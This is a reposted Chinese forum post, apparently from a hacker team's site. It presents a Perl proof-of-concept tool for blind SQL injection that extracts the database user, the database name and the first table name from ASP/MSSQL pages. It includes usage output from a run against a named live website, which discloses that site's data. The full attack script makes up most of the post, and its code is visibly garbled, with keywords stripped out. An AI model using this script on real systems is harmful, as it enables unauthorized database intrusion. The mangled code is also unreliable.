perl数据库:cawan的《SQL Injection做数据库渗透的一种思路》perl程序实现

文章作者:无敌最寂寞 [E.S.T]
信息来源:邪恶 8进制信息安全团队(Team)(www.eviloctal.com)

呵呵昨天看了cawanSQL Injection做数据库渗透种思路文感觉确实不错于是我就把它文中提出思路方法用perl实现了下这个只是个POC版本所以呢我只实现了猜解user、db_name以及第个表名功能其它功能尚未实现而且中猜解部分算法我也没有优化用了最容易编程但是速度和效率相对低算法明眼人看就知道

如果大家觉得有必要可以考虑将该扩展增加包括猜解所有表名以及表中字段功能等等当然如果要发布就不要用perl了~~~~

运行帮助如下:

H:\temp>sin.pl
********************************************************************************

          SQL Injection New Method POC

            Method By cawan[EST]

            Coded By superlone[EST]

    Usage:
          sin.pl url

          -u   try to get user value
          -d   try to get db_name value
          -t   try to get first table name value
    EXAMPLE:
          sin.pl http://www.xxx.com/userinfo.asp?id=1 -t

********************************************************************************




猜解user过程如下:

H:\temp>sin.pl http://www.aquavelvas.com/blog.asp?id=4 -u

[+]Testing there is vul in your URL page...

[+]SQL Injection Vulnerability found!

[+]Guessing user value length...Wait!

********************************************************************************

[+]user value length is [7]

********************************************************************************

[+]Guessing user value...Wait!

********************************************************************************

[+]the 1th letter is:t
[+]the 2th letter is:h
[+]the 3th letter is:o
[+]the 4th letter is:m
[+]the 5th letter is:a
[+]the 6th letter is:s
[+]the 7th letter is:a
[+]user value is [thomasa]

********************************************************************************




猜解第个表名过程如下:

H:\temp>sin.pl http://www.aquavelvas.com/blog.asp?id=4 -t

[+]Testing there is vul in your URL page...

[+]SQL Injection Vulnerability found!

[+]Guessing first table name length...Wait!

********************************************************************************

[+]first table name length is [17]

[+]Guessing first table name value...Wait!

[+]the 1th letter is:g
[+]the 2th letter is:e
[+]the 3th letter is:o
[+]the 4th letter is:i
[+]the 5th letter is:p
[+]the 6th letter is:c
[+]the 7th letter is:o
[+]the 8th letter is:u
[+]the 9th letter is:n
[+]the 10th letter is:t
[+]the 11th letter is:r
[+]the 12th letter is:y
[+]the 13th letter is:w
[+]the 14th letter is:h
[+]the 15th letter is:o
[+]the 16th letter is:i
[+]the 17th letter is:s
[+]first table name value is [geoipcountrywhois]

********************************************************************************

非常简单实现大家就不要笑话我了整个代码如下:
#!/usr/bin/perl
#method by cawan{EST]
#coded by superlone[EST]
#use strict;
use LWP::UserAgent;
local  @alpha_code=('a'...'z');
local @number_code=(0...9);

(@ARGV0){
    &help;}

my $url=sht;
my $ua= LWP::UserAgent;

($ARGV[0] eq "-u"){
&testpage($url);
pr "[+]Guessing user value length...Wait!\n\n";
pr "*" x 80,"\n";
my $ilen=&guesslength($url,"user");
pr "[+]user value length is [".$ilen."]\n\n";
pr "*" x 80,"\n";
pr "[+]Guessing user value...Wait!\n\n";
pr "*" x 80,"\n";
pr "[+]user value is ". &crackcode($url,$ilen,"user") ."\n\n";
pr "*" x 80,"\n";} els($ARGV[0] eq "-d"){
&testpage($url);
pr "[+]Guessing db_name value length...Wait!\n\n";
pr "*" x 80,"\n";
$ilen=&guesslength($url,"db_name");
pr "[+]user value length is [".$ilen."]\n\n";
pr "[+]Guessing db_name value...Wait!\n\n";
pr "*" x 80,"\n";
pr "[+]db_name value is ". &crackcode($url,$ilen,"db_name") ."\n\n";
pr "*" x 80,"\n";}els($ARGV[0] eq "-t"){
&testpage($url);
pr "[+]Guessing first table name length...Wait!\n\n";
pr "*" x 80,"\n";
$ilen=&guesslength($url,"table");
pr "[+]first table name  length is [".$ilen."]\n\n";
pr "[+]Guessing first table name value...Wait!\n\n";
pr "[+]first table name value is ". &crackcode($url,$ilen,"table") ."\n\n";
pr "*" x 80,"\n";} {&help;}

sub guesslength{
my $url=sht;
my $func=sht;

$func="(select top 1 name from sysobjects where xtype='U')" ($func eq "table");
my $i=0;
while($i<32)
{
my $temp=$url."'%20and%20len(".$func.")>'".$i;
#pr "[-]Structured URL:"."$temp"."\n";
my $req= HTTP::Request('GET'=>$temp);
my $res=$ua->request($req);
($res->content=~/Syntax error/ ||$res->content=~/Either BOF or EOF is True/ ){
last;
}
}
$i-1;
}


sub testpage{
my $url=sht;
$url.=" and 1=1";
my $ua= LWP::UserAgent;
my $req= HTTP::Request('GET'=>$url);
#pr "URL is ".$url."\n";
pr "\n[+]Testing there is vul in your URL page...\n\n";
my $res=$ua->request($req);
#pr " content:".$res->content."\n";
($res->content=~/Syntax error/){
pr "[+]SQL Injection Vulnerability found!\n\n";} {
pr "[+]Page has no vul or server error echo disabled!\n\n";
exit;
}
}
sub help{
pr "*" x 80,"\n";
pr "\t\tSQL Injection New Method POC\n\n";
pr "\t\t   Method By cawan[EST]\n\n";
pr "\t\t  Coded  By superlone[EST]\n\n";
pr "\tUsage:\n\t\tsin.pl url \n\n";
pr "\t\t-u   try to get user value\n";
pr "\t\t-d   try to get db_name value\n";
pr "\t\t-t   try to get first table name value\n";
pr "\tEXAMPLE:\n\t\tsin.pl [url]http://www.xxx.com/userinfo.asp?id=1[/url] -t\n\n";
pr "*" x 80,"\n";
exit;
}
sub crackcode{
my $url=sht;
my $userlen=sht;
my $func=sht;
my $i=0;
my $j=0;
my $k=1;
my $bfound=0;
my $name;

$func="(select top 1 name from sysobjects where xtype='U')" ($func eq "table");

while($k<=$userlen){
$i=0;$j=0;$bfound=0;
while($i<@alpha_code){
my $temp=$url."'%20and%20sub(".$func.",".$k.",1)='".$alpha_code[$i];
#pr $temp,"\n";
my $req= HTTP::Request('GET'=>$temp);
my $res=$ua->request($req);
($res->content=~/Incorrect syntax/){
$name.=$alpha_code[$i-1];
pr "[+]the ".$k."th letter is:",$alpha_code[$i-1],"\n";
$bfound=1;
last;}
}
while($j<@number_code && $bfound0){
my $temp=$url."'%20and%20sub(".$func.",".$k.",1)='".$number_code[$j];
#pr $temp,"\n";
my $req= HTTP::Request('GET'=>$temp);
my $res=$ua->request($req);
($res->content=~/Incorrect syntax/){
$name.=$number_code[$j-1];
pr "[+]the ".$k."th letter is:",$alpha_code[$i-1],"\n";
$bfound=0;
last;
}
}
$k;
}
'['.$name.']';
}

上篇文章: 主动利用MS05020漏洞提升权限(WEBSHELL)

下篇文章: 入侵XXX学校教务管理系统过程记录

Tags:  superinjection sqlinjection injection perl数据库

延伸阅读

• 2009-9-12-- sqlinjection:PHP中的代码安全和SQL Injection防范
• 2009-9-12-- sqlinjection:想深入学习SQL injection的人这个可要好好看看
• 2009-9-12-- sqlinjection:Sql Injection入侵思路方法全部收集
• 2009-9-12-- sqlinjection:SQL Injection的深入探讨
• 2009-9-12-- sqlinjection:献给想深入学习SQL injection的朋友
• 2009-9-12-- phpcodeinjection:PHP-Nuke 7.4 SQL Injection Exploit
• 2009-9-12-- sqlinjection:Advanced SQL Injection with MySQL
• 2009-9-2-- sqlinjection:有孔就入 SQL Injection的深入探讨
• 2009-9-12-- 数据库的运用:运用SQL  Injection做数据库渗透的一种思路
• 2009-9-12-- sqlinjection:SQL Injection攻击技术